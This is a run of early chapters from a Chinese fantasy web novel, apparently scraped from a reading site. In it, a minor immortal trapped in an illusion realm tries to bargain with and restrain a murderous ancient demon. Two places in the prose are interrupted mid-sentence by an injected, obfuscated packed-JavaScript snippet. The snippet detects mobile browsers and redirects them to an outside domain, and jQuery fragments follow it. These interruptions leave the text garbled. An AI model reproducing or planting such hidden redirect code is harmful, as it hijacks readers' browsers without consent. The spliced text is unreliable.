《在无限幻境中捆绑了阴鸷天魔》 1. 不见天日 “此事只有你能办到,六界苍生将悬挂于你一人肩上。” 男人的话音一落,朝朝便被一阵大风吹进身后的万丈深渊之中。 她背朝下快速坠落,猛烈的风与她逆向而驰,刮得她双颊作痛,眼看着上方的光亮越来越远,直至消失不见时她才回过神。 “九重天有那么多神仙,为何苍生要我一人去救?!”朝朝恼火地大喊道,声音一出口便四散开,也不知推她下来的崇明上神有没有听见。 这深渊似是个无底洞,下落了许久她都没有落地。 朝朝有些泄气地心想,自己不会余生都将在此坠落中度过吧? 如此坠落也无妨,只是就她一人,也没个说话搭腔的,未免太过无聊。 这个念头刚出,她就‘咚’的一声落了地,顿时间四周尘土飞扬。 头颅四肢错了位,五脏六腑也尽数破裂。 朝朝在地上躺了半晌,直到身体能重新动弹,她一边咳嗽着挥开眼前的尘土一边坐起身。 这一摔若是换作别人,怕是已经粉身碎骨了。 她慢腾腾地站起身,直到尘土静落回地面时,才看清四周的景象。 此地空旷寂静,除了地上数不尽的白骨,再无其他,往远处望也只有黑暗。 犹豫一番后,朝朝选了一个方向,向前小跑去,可这里好像无边无界,无穷无尽一般,无论她跑多远都跑不到尽头。 许久她才停下,左手扶着腰,弯身粗喘着气喃喃自语道:“这里到底是什么鬼地方?” “十恶境。” 一道阴冷的声音倏地响起,在此寂静之地犹如幽魂般缭绕在耳边,将朝朝吓了一跳。 她慌忙转头四下寻找起声音的源头。 片刻后她的正前方响起铁链与地面摩擦的声音,由远及近,黑暗中一个模糊的轮廓缓慢向她走来。 那是一个披散着发的男人,身长将近六尺,眼尾勾勒着略微上挑的红,高挺鼻梁下的薄唇成锋,一袭墨袍几乎要与身后的黑暗融为一体,这浓郁到化不开的墨色将他苍白的面容衬得十分刺目,令男人越发像是鬼魅。 男人深邃的眼注视着朝朝,身上除了寒潭般的冷意外还有嗜血的杀意,像是随时都会取走她的性命,令朝朝下意识打了个寒战。 她的心在发抖,正想要从男人身上移开自己的视线,她又无意中注意到缠绕着男人四肢的锁链。 那锁链比朝朝的胳膊都粗,看起来应有千斤之重,男人却如拖着丝线般轻松,行动没有受到任何阻碍,锁链上刻着密密麻麻的咒文,咒文的凹陷处则隐隐流溢着金色的光彩。 朝朝虽看不懂那些咒文,但因这锁链认出了男人。 跳脱六界外,不在五行中的上古天魔,玄烛。 从前只是听说,如今亲眼见到,朝朝才知晓那书上对天魔的描写全是胡扯。 书上说玄烛青面獠牙,目若铜铃,脑袋上没有几根毛,可眼前这张脸却已超脱于世间的一切色象,精致的足以摄人心魄,不过这皮相不会令人心神荡漾,因为玄烛身上的戾气实在瘆人,光是靠近都会感觉心惊胆战。 朝朝的思绪还在翻涌,玄烛却忽然弯起唇角,露出一个诡异的笑容。 “三十三天众神愚不可及,汝类杂碎,能奈吾何。”他轻启薄唇吐出低沉的声音,向朝朝又靠近了一步。 见玄烛靠近,朝朝也后退一步,嘴上急忙喊道:“等、等等,我有话要说!” 闻言,玄烛停住脚,如深渊般的双眼定定地看着她,不发一言。 “我是被崇明上神强行推进来的......”朝朝紧张地咽了下口水,然后从身上摸出一个玉印,“他给了我这个。” 玄烛看向她手中的玉印,又瞥了眼束缚着自己四肢的锁链。 玉印能打开锁链,不过这东西本该在天帝手中。 瞧见玄烛看向锁链,朝朝讨好地说道:“天魔大人,你也说我是杂碎了,不能把你怎么样的,不如我帮你打开锁链,你就大人大量放我一马。” 她刚说完最后一个字,就见玄烛双臂轻轻一震,缠绕着四肢的锁链轰然炸裂。 那声音震得朝朝一阵耳鸣,她慌忙用双手捂着耳朵揉了揉。 玄烛伸展右臂稍作活动,视线却一直落在朝朝身上,眼底满是嘲意。 朝朝扯出一个笑,小步向后挪着,小心翼翼地问道:“既然能摆脱锁链,天魔大人为何不早点把这东西从身上摘掉?” “与汝无关。”玄烛继续向前,唇边的笑意也慢慢敛起。 这不把天聊死了? 眼看着玄烛越来越近,朝朝脸上的笑也开始僵硬,那种危及性命的不安感越发强烈,最后她拍了下手,结巴地说道:“不如、不如我们庆祝一下您重获自由吧。” “为吾庆祝?”玄烛迟缓地偏了下头,这动作配上他苍白的脸,满是说不出的诡异阴森感。 朝朝飞快地点了两下头,紧接着她想到什么,又说道:“等我们离开这里,我肯定为你庆祝,我看这地方阴森诡异,天魔大人肯定也急着离开,我虽然看起来没什么用,但多少可以出点力,所以天魔大人还是留着我吧。” 说完这番话时,玄烛已经停在她面前。 朝朝紧张地望着他,身形的差距压得她喘不过气,等了好半晌她才看到玄烛开口。 “十恶境,十恶不赦,十死无生。” 朝朝自认看过很多书,知晓很多事,可这十恶境却是她第一次听说。 玄烛一字一句说道,幽深的瞳孔里倒映着朝朝有些呆怔的脸:“此处与吾皆于上古诞生,十重幻境,一重更比一重险,自古至今便无一人能从此处离开。” 朝朝瞪大眼睛,又环视了一圈四周,最后在心底暗骂了一句。 崇明上神太过混蛋了,竟把她推入这么危险的地方,还要她独自面对玄烛。 说什么为了苍生,难道她不是苍生的一员吗? 见朝朝气闷地鼓着脸,明显心思飘去了别处,玄烛的目光微沉。 “在此十恶境,汝于吾无用。” 玄烛阴冷低沉的声音拉回了朝朝的思绪,瞧见玄烛的手伸向自己,她也不再多言,转身拔腿就跑。 她算是看明白了,对于玄烛,动嘴说不如动腿跑。 玄烛冷眼看着她逃走的背影,神色淡淡地化作一缕烟尘,转眼玄烛又出现在朝朝面前,挡住了她的逃路。 见逃不掉,朝朝右手捏了个定身诀,她也不知道是否有用,可眼下也没别的办法了。 她飞快地将拇指摁在玄烛的眉心间。 一如其人,指腹下的肌肤也是刺骨的冰冷,冷的朝朝骨头都开始打颤。 玄烛缓慢地垂下眼帘,长睫在眼下方洒落一片阴影。 “螳臂当车。” 他沉沉吐出声音,指尖在朝朝的脖颈上快速划过,待他收回手时,朝朝才感觉到疼痛缓慢地散开。 下一瞬,朝朝的头从肩头滚落在地,身体定定的在玄烛面前站了片刻才向后倒下。 血色的烟花绽放着,血腥味无声地蔓延,玄烛轻舔指尖的血色,冷漠地睨着朝朝的尸体,眼眸深处却是隐隐滚动的快意。 她的头颅侧躺在地面,有朝一日便会成为众多无名骸骨的其中一员。 可她还能看到,还能听到。 她看着玄烛转身,再没有回头多看一眼。 天魔没有爱恨,不懂悲喜,更不明生死,在他眼中,杀戮也不分对错,朝朝的死就是他一呼一吸间的小事,转过头就会忘得一干二净。 玄烛面无表情地向前走去,脚下踩过森白的骸骨发出嘎吱的声响。 突然,地面开始剧烈地震动起来,周遭的黑暗也逐渐扭曲变形。 第一重幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966617|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境就要来了。 玄烛的神情没有任何变化,他抬起冷漠的双眸看着周围,似乎这世间就没有什么事情会令他动摇。 他停住脚步,等着第一重幻境的吞噬,身后却响起一阵细微的动静吸引了他的注意。 玄烛转身看去,瞧见那具没有头颅的尸体已经站起,正弯身捡自己的头颅。 朝朝摸索着将自己的脑袋放回脖颈上,原本切割整齐的伤痕迅速愈合,她又认真地调整了一番位置后,向远处的玄烛看去。 此刻那个天魔正轻蹙着眉心看着她。 朝朝摸着自己的脖子对他强颜欢笑,虽然脑袋是安好了,可刚才历经死亡时的疼痛还残留着。 “你看,我不会死,也伤不了你,不如我们在这里好好相处吧。” 未等到玄烛的回答,远处的黑暗便迅速地笼罩过来,将他们吞噬...... * “小妹?你怎么了?” 朝朝重新睁开眼,发现自己周围又变成了一个陌生的环境。 身后群山环绕,前方是一片黑压压的密林,天空乌云压顶,不见一丝天光,偶有闷雷乍响,明显风雨欲来。 而她正骑在马上,一身男式的灰色粗布衣裤,胸口挂着一个巴掌大小的铜镜,头上用三指宽的布带绑了一个随意且松散的发髻,这已不是她落进十恶境时织金云纱裙的装扮了。 怎么回事?这又是哪里?玄烛呢? “小妹,你到底在发什么呆?” 陌生的声音再一次响起,朝朝才向那人看去。 那是个黑壮的男人,厚唇肉鼻小眼睛,身上穿着褐色的衣裳,衣角还打了一块补丁,骑在马上回头奇怪地望着朝朝。 视线一落到男人身上,朝朝的脑中便跳出那人的名字。 卢风,是她的表哥,他们一起在镇上的一家米铺打杂,此次他们要为掌柜在临河镇新开的铺子送米面,一行共有七人,除了她和卢风外,还有四名帮忙搬运的伙计,以及一名账房先生。 朝朝回头看了眼,那四名伙计正一人赶着一辆车,账房先生则坐在第二辆车上低头看着书。 明明这些人朝朝并不认识,可她又都能一眼认出来。 她疑惑地回过头,卢风见她神情越发奇怪,又问道:“小妹,你是哪里不舒服吗?” 朝朝摇了摇头,心里估摸着眼前应该都是幻境,玄烛说过这里十死无生,定是重重危险,她还是小心为妙吧。 见她摇头,卢风松了口气:“那咱们还是快些进入林子吧,掌柜的交代了,今天必须把这些米面送到。” 朝朝刚要点头又急忙收住,开口问道:“我们要进入前面那片林子吗?” “是啊,山路本就绕远,而且眼看着要下雨了,山路会变得不好走,这林子是最好的近路。”卢风解释道。 看向前方的密林,朝朝不由得皱起眉头。 一群黑鸦展翅掠过树林上方,发出几声刺耳的鸣叫后一头扎进林中,便再没从林中飞出过。 那些高大的树看起来足有五人高,树冠厚重的伸展开,十分壮观,也不知他们已经活了几百年,繁茂的树叶随着阴风摆动,仿佛一个活物在向他们招手,仔细去听,那风中好像还夹着哭声,凄凉幽怨。 朝朝心里有些不安,总感觉这林子的深处藏着可怕的东西。 “我们不能换条路走吗?”朝朝问道。 卢风斩钉截铁地说道:“不行,来不及了,这批货急着要,送晚了掌柜的肯定会罚咱们的。” 说完,也不等朝朝再开口,卢风便骑着马向前走去。 身后的车也一辆接着一辆跟上去,朝朝犹豫了一瞬,最后也只能骑马跟上。 很快他们的身影便隐入林中。 阴风拂过,叶片与叶片之间的缝隙中,一双墨绿色的眼睛正无声地注视着他们...... 2. 不见天日 “小妹,你别怕,有哥在保准不会有事。”感觉到朝朝的不安,卢风转头笑着安抚她。 朝朝回以笑容,心思却没在卢风的话上。 马蹄踩过地上的杂草,发出微弱的折断声,树枝随风摇晃发出沙沙声,身后车轮的滚动声...... 朝朝不敢有半点分神,一直聚精会神地注意着周遭的情况,她有种预感,危险已经隐藏在他们周围了。 她转动视线时,余光的角落里快速闪过一抹黑影。 朝朝连忙定神朝那个方向看去,可却什么都没有发现。 难道是错觉? 很快她便否定了这种可能。 不是错觉,从他们进入林子后,她便一直感觉有视线紧随着他们。 “哥,你以前走过这条路吗?”朝朝忍不住问道。 卢风摇头道:“头一次,以前不用走这边。” “也难怪你家阿朝会害怕,以前就有传闻这林子闹鬼,好多人进来后就没再出去过。”说话的是赶着第一辆车的伙计徐大飞,身材干瘦,力气却不小,一边说话还一边对朝朝油腻地眨了眨眼,“阿朝如果害怕不如坐我车上来,真有什么事还可以钻到我怀里。” 卢风有些生气地回头瞪了徐大飞一眼,“什么闹鬼,我看你才像鬼!还有,你敢打我小妹的主意,我肯定不会放过你!” 见他恼了,徐大飞怏怏地撇了下嘴角。 朝朝并没有仔细去听他们的对话,而是暗自想着幻境的事。 眼下她在幻境中,玄烛应该也进入幻境了,可她却没瞧见玄烛的身影,难道他们不在同一个幻境中? 若是这样,崇明上神交代的事情便不好办了。 她沉思时其余几人也停止了交谈,一安静下来,周遭的风吹草动就变得尤为明显。 赶着倒数第二辆马车的伙计名叫赵成,他是几个伙计中最年轻的,刚到米铺做工一个月,小时候左眼受过伤,导致那只眼几乎看不见东西,外加他手脚慢又粗心,怕他掉队,所以卢风让他的车走在倒数第二个,身后还跟着一名老伙计的车。 赵成也对这密林十分惧怕,只是不敢说出来,怕被其他几人笑话。 他握紧手中赶马的鞭子,暗暗告诉自己,这世上没有什么妖魔鬼怪,都是人心作祟。 几番自我安慰下,赵成确实缓解了一些紧张,他拍了拍自己的脸,打起精神朝前看去,耳边却隐隐听到一个压得极低的笑声。 那笑声阴恻恻,分不清是男是女,就像是贴在脑后发出的,令人毛骨悚然。 他慌张地转头去看笑声从何而来...... “啊!!” 听到后方的尖叫声,走在前面的朝朝和卢风急忙停下,身后的徐大飞也停车回头看去,然后带着嘲意说道:“是新来的喊的,那家伙胆小,一阵风都能把他吓哭。” 卢风不放心,蹙眉说道:“去看看。” 朝朝跟着他一起翻身下马,朝队伍的后面走去。 此时的赵成已经跌坐在马车旁的地上,裤子竟湿了一片。 徐大飞走过去一眼便看到赵成的裤子,忍不住大声嘲笑起来:“赵成,多大个人了,怎么还尿裤子?没出息。” 赵成像是没听到徐大飞的嘲笑,抬着右手颤颤地指着身体左侧的密林,“那里,那里有......” 他结巴地说着,却半天没吐出后半句,朝朝只好顺着他指的方向看去。 古木参天,遮天蔽日,显得这片昏暗的密林越发阴森可怖,众人的视线越过重重树木,看见有道黑影挂在其中一棵树上。 虽然看不清,但众人心里清楚,那里吊着一个人。 “去看看,兴许还有救。”卢风沉声开口,说完便朝那边跑过去 徐大飞有些犹豫,并没有跟上卢风,可发觉一旁的朝朝正略带鄙夷地看着自己,他只好硬着头皮迈开步子。 直到走近卢风才看清挂在树上的人,叹气说道:“没救了,看样子已经死了很久。” 徐大飞走到卢风身后,看见那具尸体的瞬间本能地干呕起来。 看衣着和体型这具尸体应是个男人,脸上已经烂了大片,腐烂处的蛆虫正欢快地蠕动着。 “可怜人。”卢风喃喃道。 身后的徐大飞擦着嘴角,不屑地说:“可怜什么,自己跑到这鬼地方上吊,死了也是活该。” 卢风不满地瞪了他一眼。 朝朝突然说道:“这人应该不是自缢。” 卢风这才发现她也跟了过来,急忙说道:“小妹,你怎么也跟来了?快回去!” 朝朝重重地拍了卢风的肩膀一下,“放心,我不怕。” 说着,她又上前一步,仔细打量起上方的尸体,“你看他十指指尖皆有擦伤,有的指甲还因用力过度翻开了,应该是他被吊上去时,用十指抓挠颈间的绳子留下的,若真是自缢,他为何这样挣扎?” 徐大飞不怎么认同她的说法,哼笑一声后说道:“这人都烂了,你还能看出他身上是什么伤口?而且,没准是他吊上去又后悔了,所以才会挣扎,你一个小姑娘就别在这里瞎断案了。” 朝朝也没急着反驳他,而是向前一大步,正好站在尸体的下方。 尸体垂着的脚尖距离她的发髻还有半个人之远,朝朝用手比划着说道:“此人的脚离地面如此远,想要把自己吊上去肯定需要垫脚,可你看这周围哪有能让他踩的东西,别说把绳子绑到高处的树枝了,他想把脑袋伸进绳圈里都难。” 卢风想了想,说道:“或许他是爬到树上,绑好绳子后套在脖子上,再从上面跳下来。” “没有工具就想爬这树可不容易,不信你们试试。”朝朝又抬头指着尸体的鞋底说道:“还有,你看他的鞋,鞋底的位置并不是很脏,且没有青苔的痕迹,此处地面潮湿生有青苔,他一路走到这里,鞋底不可能是这样子的,反倒是他的脚后跟处和后背满是青苔和泥土的痕迹,说明......” 说着,她渐渐压低声音,对着徐大飞摆出一副被吊死的鬼脸,“应该是有人先用绳子勒住他,将他背朝地面拖至此处,然后再吊到树上,所以他的衣物和脚后跟处才会沾上青苔和泥土。” 她的一番话,令卢风和徐大飞的脊梁一阵发凉。 “胡,胡扯,他自己都爬不上去的树,怎么会有人爬上去把他吊死呢?!”徐大飞声音颤颤地说着,神情却还是不服。 朝朝掩唇笑起来,语调轻快地说道:“谁知道呢,或许真的有鬼吧。” 一旁的卢风神色越来越沉重,回过神后他连忙把还站在尸体下方的朝朝拉到自己身边,恭敬地朝那具尸体拜了拜,随后说道:“我们还是快走吧,兴许这地方有强盗呢,等我们到了镇上就报官,让他们来处理尸体。” 徐大飞顺着卢风的话连连点头。 朝朝略微思忖后也点了下头,只是在离开前抬头多看了一眼。 “啊!”她突然惊叫一声。 卢风和徐大飞连忙看向她,卢风担忧地问道:“怎么了?” 朝朝微怔,她看了眼尸体,又看向卢风,想了想后回道:“我也不知道自己为什么叫。” 徐大飞皱巴着脸,埋怨起来:“已经够紧张了,你可别再吓唬人了。” 朝朝不好意思地笑笑,没有多言。 往回走时,她摸了摸自己的心口,不知为何她现在的心跳很快,像是被吓到了一般。 可刚才她注意到了什么?明明之前只有不安,眼下却变成了恐惧。 和米铺的队伍汇合后,账房先生王友平和另一位伙计陈亮急忙抓住卢风的袖子,异口同声地说道:“糟了,乔叔不见了!” 乔叔是赶着最后一辆车的老伙计,比其他人都年长很多,所以大家都叫他乔叔。 听说乔叔不见了,卢风走到最后一辆车前查看,车上的米面没有丢失,只有乔叔人不见了。 卢风问道:“怎么不见的?” 王友平结巴地回答道:“不、不知道,你们一走,我们就发现乔叔不见了。” 卢风又皱眉走到赵成身边,问道:“乔叔的车跟在你后面,你没发现什么异常,或者听到什么动静?” 赵成没有回答,他像失了智般,呆呆傻傻地坐在车上,视线落在地面,嘴里不断吐出细碎微弱的声音。 朝朝低头贴近才能听清他说的是什么。 “猴子。” 赵成一直重复着这两个字。 猴子?朝朝环视四周,心想难不成这林中有猴子? 她绕到车后,看向他们来时的路,队伍后面是他们在地上留下的车辙和马蹄印,她蹲下身认真检查起地上的印记。 马蹄印旁还有一个明显的脚印,那像是人类的右脚,没有穿鞋,脚掌和五个脚趾十分清晰。 朝朝用手掌比量了一下,这脚印比正常成年男子的脚要大上许多,她又顺着车辙痕迹往前走了一段,虽然不是连续的,但这样的脚印不止有一处。 左脚,左脚,右脚,左脚......偶尔还有类似人的手掌印。 这一路来一直有东西跟着他们。 朝朝再乐观,此刻也有些慌了。 玄烛只说这幻境危险,却没说如何才能破除幻境,她一个九重天上的微末小仙,法力不高,面对这样诡异未知的幻境,她根本不知该如何是好。 难道她要永远困在此处了? 正想着,卢风突然喊了她一声。 “小妹!” 朝朝回头看去,卢风对她招了招手,她连忙跑回众人身边。 “你别乱跑。”卢风把她往身边拽了拽,小声提醒着,然后又瞥了眼朝朝身前的铜镜,说道:“小妹,你这铜镜能辟邪,一定要带好了。” 朝朝乖巧地点头,低头看了眼胸前的铜镜。 这铜镜是幻境中的母亲给她带的,是否真的能辟邪,朝朝也不知晓。 她的视线刚从铜镜上移开,忽然注意到赵成车子周围的鞋印十分杂乱,像是有人围着这辆车子跑过一般,即便他们现在都围在这车子附近,地上的鞋印也不该乱成这样。 “你们刚才在这附近乱跑过?”朝朝忍不住问道。 王友平摇头,“没有,我们发现乔叔不见后,就一直站在原地等你们回来。” 朝朝:“那地上的鞋印怎么这么乱?” 王友平看向地面,也发现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966618|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌乱的鞋印,整个人一愣:“这、这怎么回事?” 徐大飞有些不耐烦,他觉得朝朝就是没事找事,没好气地说道:“你怎么就注意这些没用的事,鞋印没准在咱们来之前就有了,现在乔叔不见了,你帮不上忙就别出声,别给我们添乱。” 朝朝没理会他,而是蹲下身对王友平说道:“抬起左脚。” 王友平呆呆地点了两下头,连忙把左脚抬起。 他的鞋底和地上的部分鞋印完全吻合,朝朝也看了眼赵成的鞋,发现赵成的鞋也能和一部分鞋印对上。 说明这些鞋印就是他们留下的,但朝朝不觉得王友平在说谎,他是真的不记得自己曾经围着车跑过。 “你们刚才在这里都做过什么?”朝朝又问道。 这回是为人憨厚的陈亮回答的:“我们就陪着赵成来着,发现乔叔不见后都没敢多走一步,生怕发生什么事。” 朝朝:“你们不觉得自己有忘记什么事情吗?” 陈亮与王友平相视一眼,片刻后一起摇了摇头。 朝朝摸着下巴思忖着,表情越发严肃起来,片刻后她看向众人说道:“把车从马身上卸下来,车不要了,我们需要骑马尽快离开这里。” 听到这话徐大飞恼了:“你这不是胡闹吗?车不要了,车上的米面你来赔啊?!” 见徐大飞的态度不好,卢风也压不住火了,他本就看不上徐大飞,觉得这家伙好色好赌,是小人一个。 “阿朝从来不会胡闹!她这么说一定有自己的道理!”卢风挺着胸脯用力撞了徐大飞一下。 卢风的身形比徐大飞壮很多,见卢风一心维护自己的表妹,徐大飞开始犯怂,可还是有些不甘心,便小声嘀咕了一句:“一个女人,能有什么道理......” 朝朝对徐大飞翻了个白眼,然后感激地看向卢风。 幻境是假的,可卢风待她的好却是真的,一路来一直很关心她的情绪,还十分信任她,面对这般维护自己的表哥,朝朝是真真切切的感动。 不过她没有感动太长时间,眼下还是先离开这里比较重要。 她动手将车从马身上卸下,一边解释道:“我刚才看了眼队伍后面的车辙,发现地上还有其他东西留下的脚印,那脚印跟着我们,搞不好就是会吊死人的东西,比起赔钱还是保命重要,把车留在这里,等我们到镇上叫上更多人,再回来找乔叔。” 卢风看着她略微思忖一番,然后用力点了下头,“行,哥信你。” 说完,他开始指挥其他几人:“把车都卸了,等回去我来和掌柜解释。” 王友平和陈亮已经开始动手卸车,徐大飞却还在原地站着不动,掐腰看着他们几个忙来忙去。 见他不动,卢风也不催他,冷声道:“你不走就在这里守着车,我们先走一步,希望我们带人回来时,你还能活着吧。” 徐大飞感觉脖子隐隐一凉,他摸了摸后颈,然后一脸不情愿地挪着步子,走到自己的马旁解起绳子。 等大家都卸好车后,所有人都翻身上马,徐大飞负责带着还是痴傻模样的赵成,几人快马加鞭地前进。 马向前跑了许久,朝朝察觉到了异样。 这片密林有这么大吗?他们赶车就走了很长一段路,这会儿骑马也跑了许久,怎么还没到头? 很快她心底那不好的猜想便成了真。 走在最前面的卢风猛地勒住马,有些惊恐地看着前方,后面的人也跟着停住。 四辆米铺的车子就停在他们的正前方。 他们回到了原地。 “我们迷路了?”王友平颤声问道。 没人回答这个问题。 朝朝很确定他们一直冲着前方跑,怎么会又回到了原地? 卢风咬咬牙,沉声说道:“别停下,继续向前。” 众人听了他的话,骑马越过四辆米铺的车,继续向前而去。 这次朝朝留了个心眼,她走在队伍的最后面,悄无声息地捏了一小簇火苗,用力打向旁边的一棵树,在树干上留下烧焦的痕迹。 每隔几棵树她就会留下一个这样的痕迹,为了防止他们再次迷路。 她正准备再捏个火苗时,一阵带着凉意的风刮过她的耳边,随后那风越渐猛烈起来,吹得朝朝额角的碎发胡乱飞起,连睁眼也变得有些吃力。 这风很邪门,她下意识抬头向上看去,刚好瞧见一个黑影从她身后飞出。 男人的长发与衣袍在风中飞舞,周身散发着阴戾之气,从朝朝的头顶掠过时幽深的眸子倏地向下看去,视线正好落在朝朝身上。 他的眸底似是藏着锋利的刀,眼尾微挑的艳红则是见血封喉的毒,对上那双眼的瞬间,朝朝犹如坠入冰窟,从头冷到脚。 最终,他像是没有重量的羽毛般,轻落在一个较矮的枝头。 朝朝下意识停住马,玄烛在高处幽幽地注视着她,她也硬着头皮望着玄烛。 她想,这么诡异的幻境,凭她的修为定是没办法独自破境离开的,眼下她必须依靠玄烛。 然后她露出一个灿烂的笑容,举起双手对玄烛挥舞起来。 “天魔大人,我好想你啊!” 3. 不见天日 听到朝朝的喊声,跑在前面的其他几人也停下来,朝着她挥手的方向看去。 看到站在高处的玄烛,众人脸上隐隐露出了恐惧。 纵使玄烛生了一副好皮囊,可一身的阴戾森然之气,任谁看去,心里跳出的第一个念头也定是此人绝非善类,很难不对他生出惧怕。 可看着朝朝一副见到熟人的样子,卢风还是强压着心底的恐惧出声问道:“小妹,你认识他?” “认识啊!”朝朝笑着答完才想起还要解释玄烛是何人,她低头略微思忖,再抬头时认真说道:“哥,他就是三婶表弟姑姑家的外甥,名叫玄烛,你忘了吗?” 她说完,卢风认真地算了一下这个辈分,可他实在想不起玄烛这个人物,准确地说他连三婶是谁都没想起来。 二人说话的功夫,玄烛从朝朝身上移开了视线,转而看向卢风。 朝朝悄悄瞥了玄烛一眼,正好瞧见他对着卢风抬起手。 “住手!”意识到玄烛要做什么,她急忙踩着马背向卢风飞去。 幸好她反应够快,将马背上的卢风猛地扑倒在地,只是那匹马就遭了殃,眨眼间便被银光劈成四五份。 鲜血喷涌而出,溅了众人一身。 卢风和其他几人都呆怔地看着散落在地上的尸块,没有一人回过神。 只有朝朝皱眉看向玄烛,大声质问:“为什么杀他?!” 玄烛没理会她,再次挥袖,几棵树瞬间被倒着拔起,狠狠砸向还在发呆的徐大飞几人。 朝朝又连忙飞身扑到其中一棵树上试图阻止,可玄烛的力量太过强大,树连带着她一起飞了出去,她只好冲着徐大飞几人喊道:“快跑!” 拔起的树惊了马,马的嘶鸣声唤醒徐大飞几人,他们这才尖叫着骑马四处逃窜。 “有妖怪!!”徐大飞的声音在密林中回荡着,人却早就没了影,其余几人亦如是,只留朝朝和卢风还在原地。 几棵树斜插在刚刚徐大飞几人的位置上,朝朝松开手从树干上跳下来,有些担忧地望着四周的密林。 虽说徐大飞他们躲开了玄烛的攻击,可现在众人四处散开,在这林中还不知道会遇到什么事。 正想着,她听到卢风颤抖的声音,“小妹,你、你真的认识他吗?” 朝朝知道已经圆不了此事了,便没回答卢风,而是转头看向玄烛:“天魔大人,与其浪费时间杀他们,不如我们想想办法如何破除幻境吧!” “诛尽杀绝,便可。”玄烛沉声说道。 朝朝的眉头皱得更紧了些,难不成玄烛觉得杀光幻境中的所有人就能离开了?可她觉得事情没有那么简单。 他们的话卢风听不懂,卢风只知道站在高处的男人是个妖怪,十分危险,他从地上爬起,慌忙地跑向朝朝,抓起她的手腕便拼了命地逃。 卢风全力向前跑着,但朝朝明白,玄烛若想杀他们,他们根本逃不掉。 她回头看去,果然不出所料,玄烛正不慌不忙地向他们飞来。 见玄烛是铁了心要杀卢风几人,朝朝用力甩开卢风的手:“你先跑,我拖住他。” 卢风瞪大眼睛回过头,“我怎么能......” 不等他说完,朝朝已经施法,一股力量推着卢风的后背飞速向前而去。 然后朝朝转身,向玄烛飞去。 看着越来越近的身影,玄烛不自觉地蹙起眉心。 斑驳的树影在她脸上晃动,自见到她起,那张脸便全是虚情假意,不过此刻她像是摘下了面具,神情十分认真地注视着他。 终于露出真面目了吗? 想着,玄烛冷哼一声,双手倏地燃起蓝色火焰,打算等她靠近,便立刻动手将其化为灰烬。 可她刚到面前,玄烛将手中的冥火还没拍过去,朝朝便张开双臂圈着他的脖颈紧紧抱住。 玄烛幽深的瞳眸一震。 不等他发怒,朝朝将四肢都攀在他身上,像猴子一般,弯身从玄烛张开的手臂下方爬到他的后背上。 趴在玄烛背上的朝朝长舒一口气,随后笑着说道:“谁让天魔大人不肯静下心与我说话。” 玄烛的眸色越发阴冷。 哪怕困于九幽之地,被三十三天那帮家伙用琉璃净火日夜焚烧时,他都未曾这么恼火过。 他左手控着冥火,向身后的朝朝伸去。 指尖刚越过肩头,一股软嫩濡湿的感觉便裹住他的食指和中指。 他转头看去,额头的青筋顿时被气得跳了几下。 朝朝正用嘴含着他的手指,努力将他手上燃烧的蓝色火焰尽数吸入腹中,一边吸着还一边含糊不清地咕囔:“这火焰怎么是冷的?” 玄烛冷着脸缓缓落于地面。 “汝......” 他刚吐出一个字,朝朝就咬着他的指尖打断他的声音,“天魔大人别这样说话了,我有时会听不懂。” “汝......”玄烛又吐出一个字,紧接着便对上朝朝明亮的眼睛。 他暗暗咬牙,半晌才从齿缝间挤出三个字:“你找死。” 闻言,朝朝笑得眉眼弯起:“我不会死。” “松口!”玄烛的眉头皱得更紧了些,用力甩了几下手,试图把朝朝甩开。 他的力气十分大,甩完几下,朝朝感觉自己脑袋里的东西都被摇匀了。 可她还是固执地不肯松口,眼一闭心一横,说道:“不行,只要天魔大人不再去追杀那几人,且愿意和我好好谈谈,我才能松口。” 她已经决定如果玄烛不答应,她就与玄烛这两根手指合为一体,往后的岁月里玄烛就与她一起过日子吧! 玄烛烦躁地撇开脸,手上的冥火越烧越旺。 半晌,他沉声说道:“此处是幻境,那些人亦为虚幻,生死无需在意。” “我看他们并不知晓自己只是幻境的一部分,既然他们认为自己是活生生的存在,我们便不能随意地对待他们。”朝朝神情严肃地说道。 玄烛再次看向她,眸底多了几分厌恶:“不论真假,皆为蝼蚁,吾都可杀之。” 朝朝一阵呆怔。 是啊,眼前这位是上古天魔,他生来便是为这世间带来杀戮和恐惧的。 朝朝出神地想着时,玄烛突然从她口中抽出手,单手揪着她的后领,将她用力扔在地上。 她吃痛地低叫一声,揉着自己摔痛的屁股看向玄烛。 玄烛居高临下地睨着她,而刚才被朝朝咬过的两根手指只留下了浅浅的牙印,连皮都没破。 “凭你,阻止不了我。” 留下这句话后,玄烛转身向卢风离开的方向走去。 朝朝不甘心地爬起,大喊道:“杀了他们也不一定能从幻境中出去,只会浪费精力!这林中有邪祟,我想这幻境不会没来由地把我们放在密林之中,破境之法一定与此有关。” 玄烛的脚下微顿,然后继续向前走去。 朝朝想追上去缠住玄烛,可刚迈出一步,腹部突然传来一阵剧烈的疼痛。 她捂住肚子弯下身,疼痛却越演越烈,像一把刀子在绞她的五脏六腑。 察觉到身后的动静,玄烛终于回过头。 “怎么......回事?”朝朝痛苦地看向玄烛,因为疼痛连说话都变得有些费力,额角的汗珠一滴接着一滴掉落。 玄烛说道:“刚刚你呑入腹中的是冥火,若不取出,它便会一直折磨你。” 